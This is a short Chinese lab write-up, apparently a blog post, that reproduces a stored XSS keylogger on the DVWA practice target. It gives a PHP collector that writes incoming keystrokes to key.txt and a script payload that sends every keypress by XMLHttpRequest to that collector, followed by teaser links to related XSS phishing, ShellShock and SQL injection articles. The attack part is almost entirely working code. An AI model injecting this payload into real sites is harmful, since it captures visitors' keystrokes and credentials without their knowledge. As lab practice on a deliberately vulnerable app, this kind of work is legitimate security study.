漏洞复现篇——利用XSS漏洞实现键盘记录

实验环境：

PHPstudy
火狐浏览器、IE
DVWA靶场

实验准备：

在www目录下创建一个名为keylog.php的文件,代码如下：

<?php
$file = fopen("key.txt","a");
if(isset($_REQUEST['key'])) {$key = $_REQUEST['key'];fputs($file,$key);
}
?>

模拟实验：

1、把级别调成low，选择Stored储存型，打开F12将输入限制改为500

2、将下列代码输入执行，效果如下

<script>document.onkeydown=function(ev){xhr=new XMLHttpRequest();xhr.open('POST','http://localhost/keylog.php',true);xhr.setRequestHeader('Content-type','application/X-WWW-form-urlencoded');xhr.send('key='+String.fromCharCode(ev.keyCode));}</script>

3、然后随便输入什么东西，key.txt中就会出现记录，键盘记录器就做完了

漏洞复现篇——利用XSS漏洞实现键盘记录相关推荐

漏洞复现篇——利用XSS漏洞实现多种网络钓鱼方法
实验环境: PHPstudy 火狐浏览器 DVWA靶场模拟实验: 重定向钓鱼把当前页面重定向到一个钓鱼页面,例如重定向到百度,代码如下: <script>document.locati ...
LINUX漏洞复现篇之ShellShock漏洞
简介 ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的安全漏洞在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bas ...
利用XSS漏洞实现键盘记录器
利用XSS漏洞实现键盘记录器本实验以反射性的XSS漏洞为例实验环境:dvwa靶机(ip:192.168.135.140) kali linux(ip:192.168.135.138) 1.首先开启 ...
【漏洞复现】泛微OA E-Cology V9 browser.jsp SQL注入漏洞复现及利用(CNVD-2023-12632)
文章目录前言声明一.产品介绍二.漏洞描述三.影响范围四.漏洞分析五.漏洞复现六.SQLMAP漏洞利用七.修复方案前言泛微E-Cology v9 Browser.jsp 存在SQL ...
利用xss漏洞结合xss平台实现社工钓鱼
本文主要介绍如何结合 xss平台利用xss漏洞然后,伪造一个钓鱼登陆页,然后,实现钓鱼,获取用户和密码,之后传到我们的公网服务器中首先我们需要一个存在xss漏洞的网站,不管是反射或存储,只要它 ...
【网络安全】如何使用ppmap检测和利用XSS漏洞
关于ppmap ppmap是一款基于Go开发的漏洞扫描器/漏洞利用工具,该工具能够通过在全局上下文中检查特定变量来扫描.检测和利用XSS漏洞.该工具目前只能利用已知Gadget(可能支持部分自定义开发 ...
html %3c 不给转义,八个无法利用XSS漏洞的场景
☝☝ 相信有很多的小盆友们曾经发现过一些疑似存在XSS漏洞的站点,但又无法完全证明这个漏洞是可以被利用的.此时的你可能处于怀疑状态,也有可能你已经验证到一半了,严重怀疑其有精神病(XSS漏洞)的情况. ...
ms08_067，ms10_046漏洞复现与利用
ms08_067,ms10_046漏洞复现与利用一:ms08_067 主机扫描通过nessus扫描网段内存活的主机,发现192.168.206.142该靶机并且时xp而且开启了445端口,考虑使用 ...
怎样利用XSS漏洞在其它网站注入链接？
怎样利用XSS漏洞在其它网站注入链接? 什么是XSS攻击怎样利用XSS漏洞在别人网站注入链接 XSS攻击注入的链接有效果吗? 对搜索结果的潜在影响有多大? 作弊和黑帽SEO 黑帽SEO是相对于白帽而 ...

漏洞复现篇——利用XSS漏洞实现键盘记录

实验环境：

实验准备：

模拟实验：

1、把级别调成low，选择Stored储存型，打开F12将输入限制改为500

2、将下列代码输入执行，效果如下

3、然后随便输入什么东西，key.txt中就会出现记录，键盘记录器就做完了

漏洞复现篇——利用XSS漏洞实现键盘记录相关推荐

最新文章

热门文章